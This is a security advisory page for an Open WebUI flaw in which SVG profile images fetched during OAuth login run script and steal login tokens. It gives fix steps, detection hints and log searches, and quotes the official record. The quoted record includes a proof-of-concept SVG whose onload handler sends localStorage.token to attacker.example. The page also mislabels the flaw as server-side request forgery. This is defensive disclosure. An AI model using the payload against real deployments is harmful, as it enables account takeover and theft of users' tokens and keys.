Open WebUI profile images can run scripts in browser with attacker control

HighSE Fix-First Score 43/100CVE-2026-56398SE-AIV-00819Server-side request forgeryAI apps and chat interfacesMade public 15 May 2026

Download as PDF

What this means

An attacker can hijack user accounts by embedding malicious scripts in profile images during OAuth login. When a user views their profile or profile image URL, the script runs in the browser, steals the login token from browser storage, and gives the attacker full account access.

SecurityElites Manager Brief: the decision in one minute

Open WebUI accepts SVG images in user profiles during OAuth login. SVG files can contain scripts that run in the browser and steal login tokens. Any user who signs in via OAuth and whose profile is viewed is at risk of account takeover.

SecurityElites Fix-First Score43 of 100
Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity.
SecurityElites fix windowWithin 30 days
High severity. This is our suggestion from common practice; your own policy comes first.
Who should own the fixPlatform or infrastructure team running Open WebUI.
Likely effortAbout 15 minutes: upgrade Open WebUI to 0.9.5 and restart the service. Checking for misuse takes longer if the OAuth provider logs are not available.

Questions to ask your team or supplier

  • Do we have logs of which users signed in via OAuth and when, so we can identify who may be at risk?
  • Do we have a process to notify users whose accounts may have been compromised, and can we force them to re-authenticate?
  • Are security headers enabled in our Open WebUI deployment, and if not, can we enable them before the upgrade?

Message you can forward to the owning team

Security notice: Open WebUI profile images can run scripts in browser with attacker control (CVE-2026-56398)

Severity: High
SecurityElites Fix-First Score: 43 of 100
SecurityElites fix window: Within 30 days
Action: upgrade to open-webui 0.9.5 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2026-56398-open-webui-profile-images-can-run-scripts-in-browser/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-00819

What is at stake in your AI setup

  • Authentication tokens stored in browser localStorage: could be stolen if profile is viewed, leading to account takeover.
  • Prompts and chat history: attacker with stolen token gains full access to the user's conversations and system prompts.
  • API keys for external services: attacker can read and use any keys the user has linked (AI provider credentials, integrations).
  • Connections to tools and systems: attacker can use the account to access any systems or APIs the user has connected to Open WebUI.

Map where your company uses AI

Who is exposed

  • Teams running Open WebUI with OAuth authentication enabled, most at risk.
  • Users who signed in via OAuth in the last 90 days or longer.
  • Any deployment without security headers (CSP, X-Content-Type-Options) enabled in the environment.
  • Systems where multiple users view each other's profiles.

Upgrades you need

SoftwareAffected versionsMove to
open-webui
PyPI
Every version before 0.9.50.9.5 or later

Am I affected?

Enter the version you run. Nothing you type is stored.

SecurityElites Developer Brief: the technical picture

Is it being attackedNo known attacks and no public attack code when CISA last reviewed it
Where the attacker must beAnywhere that can reach it over a network, including the internet if it is exposed
Account neededAn ordinary user account
Does a person have to do somethingYes. Someone has to click, open or approve something
How hard it is to doEasy. It works reliably once the attacker can reach it
Risk of: data being readHigh
Risk of: data or settings being changedHigh
Risk of: the service being taken downNone
Can attackers automate it at scaleNo, according to CISA. Each target needs manual work
How much control an attacker gainsPartial control, according to CISA

Read from the official severity rating: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Kind of coding mistake

  • CWE-20: input is not checked properly
  • CWE-79: script can be injected into a web page

If you cannot upgrade today

  • Disable OAuth temporarily if possible; enable CSP and X-Content-Type-Options headers at the reverse proxy or in environment variables; restrict profile image viewing to account owner only.

Signs it may already have been used against you

  • OAuth login events followed by profile picture URL changes to SVG URLs or data URIs with 'image/svg+xml' MIME type.
  • Profile image endpoints returning Content-Type: image/svg+xml with inline SVG containing tags or event handlers.
  • Authentication token theft events (tokens appearing in unexpected logs, tokens used from new IP addresses after profile view).
  • Database records containing data:image/svg+xml;base64 entries in the user profile image field for accounts that signed in via OAuth.

Log searches to start from

Find OAuth logins followed by profile picture changes (adapt field names to your logs)Elastic

event.action:oauth_login AND source.user.id:* | stats count by source.user.id | join source.user.id [event.action:profile_update AND event.field:profile_picture_url]

Find SVG or image/svg+xml in profile storage (adapt field names to your logs)Splunk

index=main ("image/svg+xml" OR ".svg") event.action:profile_update | stats count by user, event.timestamp

Written with AI as a starting point. Review them and change the index and field names to match your own logs before you rely on the result.

SecurityElites Fix Guide: step by step

  1. Find where Open WebUI is installed and check the versionLog into the system running Open WebUI. Run the command to see the installed version of the open-webui package. Note whether it is earlier than 0.9.5.
  2. Check if OAuth login is enabledLook at the Open WebUI configuration or admin panel to see whether OAuth is set up. If OAuth is not enabled, the risk is lower but the upgrade should still happen.
  3. Upgrade Open WebUI to version 0.9.5 or laterUse the package manager or deployment tool to upgrade the open-webui package to 0.9.5. Follow the deployment guide for your setup (Docker, pip, etc.).
  4. Restart the Open WebUI serviceRestart the application to load the new code. Confirm that it starts successfully and responds to requests.
  5. Enable security headers if not already enabledSet the environment variables to enable CSP (Content-Security-Policy) and X-Content-Type-Options headers. Check the Open WebUI documentation for the exact variables and values.
  6. Verify the fix is in placeConfirm that Open WebUI is running version 0.9.5 or later by checking the package version or the admin panel.
  7. Review logs for signs of past misuseLook at login logs, OAuth provider logs, and any profile-change events from before the upgrade date. Flag any OAuth logins followed by unusual activity or profile changes.
  8. Advise users to change passwordsIf you find signs of misuse, notify affected users to change their passwords and log out all sessions. Ask them to check their account activity for any changes they did not make.

How to confirm it is fixed: Confirm that Open WebUI is running version 0.9.5 or later by running `pip show open-webui` or checking the admin panel, and that security headers are enabled in the environment variables.

SecurityElites Quick Fixes: copy and paste

Upgrade open-webui with pipupgrade

pip install --upgrade "open-webui>=0.9.5"
pip show open-webui | grep Version

Pin it in requirements.txtupgrade

open-webui>=0.9.5

Check Open WebUI version (Python pip)for this issue

pip show open-webui | grep Version

Check Open WebUI version (Docker)for this issue

docker exec <container-name> pip show open-webui | grep Version

Require token-based metadata on an AWS instancegeneral hardening

aws ec2 modify-instance-metadata-options \
  --instance-id i-XXXXXXXXXXXX \
  --http-tokens required --http-put-response-hop-limit 1

Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.

Let your AI coding assistant do the upgrade

Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.

Instruction for your coding assistant

You are helping me fix a security vulnerability (CVE-2026-56398) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n   - open-webui (PyPI): must be 0.9.5 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.

SecurityElites Incident Drill: could your team handle this?

Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.

What type of file can an attacker inject into a profile picture during OAuth login, and why is it dangerous?A good answer: An SVG (Scalable Vector Graphics) file, which can contain JavaScript code that runs in the browser when the profile is viewed, allowing the attacker to steal the user's login token.
Which code path in Open WebUI is vulnerable, and why does it not check the file type?A good answer: The OAuth login path skips the normal profile image validator by writing directly to the database, so it allows SVG files even though the regular signup form would reject them.
What would an attacker do after stealing a user's login token?A good answer: The attacker can log in as that user, access all their conversations and data, use their API keys, and control any systems the user has connected to Open WebUI.
What is the minimum version of Open WebUI that is safe from this issue?A good answer: Version 0.9.5 and later are safe; all earlier versions are affected.

Run a full timed drill with your team

Ticket for your backlog

Paste into Jira, GitHub Issues or any tracker that reads Markdown.

Ready-made ticket

## Open WebUI profile images can run scripts in browser with attacker control (CVE-2026-56398)

**Severity:** High  |  **SE Fix-First Score:** 43/100  |  **Fix window:** Within 30 days
**Record:** SE-AIV-00819 https://securityelites.com/ai-vulnerabilities/cve-2026-56398-open-webui-profile-images-can-run-scripts-in-browser/

### Why this matters
An attacker can hijack user accounts by embedding malicious scripts in profile images during OAuth login. When a user views their profile or profile image URL, the script runs in the browser, steals the login token from browser storage, and gives the attacker full account access.

### What to do
1. Find where Open WebUI is installed and check the version
2. Check if OAuth login is enabled
3. Upgrade Open WebUI to version 0.9.5 or later
4. Restart the Open WebUI service
5. Enable security headers if not already enabled
6. Verify the fix is in place
7. Review logs for signs of past misuse
8. Advise users to change passwords

Full steps: https://securityelites.com/ai-vulnerabilities/cve-2026-56398-open-webui-profile-images-can-run-scripts-in-browser/

### Done when
- [ ] open-webui is at 0.9.5 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Confirm that Open WebUI is running version 0.9.5 or later by running `pip show open-webui` or checking the admin panel, and that security headers are enabled in the environment variables.
- [ ] Logs were checked for signs of earlier use

SecurityElites Fix Tracker

Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.

Sign in to track this fix

Change history

  • 14 May 2026: Made public
  • 1 Dec 2026: Published
  • 3 Dec 2026: Guide updated

Official record

# SummaryWhen a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`.The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `<script>`/`onload` in the same origin and able to read `localStorage.token` → account takeover.Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.# Details## 1. MIME inferred from URL extension, not Content-Type`backend/open_webui/utils/oauth.py:1336-1345` — `_process_picture_url`:```python response = await client.get(picture_url, ...) if response.status_code == 200: picture = response.content base64_encoded_picture = base64.b64encode(picture).decode("utf-8") guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = "image/jpeg" return f"data:{guessed_mime_type};base64,{base64_encoded_picture}" ```No MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`.## 2. OAuth path bypasses the profile-image validator`backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`.This validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.## 3. Endpoint serves attacker-controlled MIME with `inline` disposition`backend/open_webui/routers/users.py:504-528` — `get_user_profile_image_by_id`:```python header, encoded = image.split(",", 1) media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml" data = base64.b64decode(encoded) return StreamingResponse( iter([data]), media_type=media_type, headers={"Content-Disposition": "inline"}, ) ```No MIME whitelist. The route requires `get_verified_user` — any authenticated user reaches it.## 4. No default CSP / nosniff`backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script.# PoC**Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL.1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`:```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" /> ```2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image_ur

Weakness type: CWE-20, CWE-79

Use this record in your own tools

Get this record as JSON

curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2026-56398

For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker

The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 4 Dec 2026. Read the vendor advisory before changing a production system.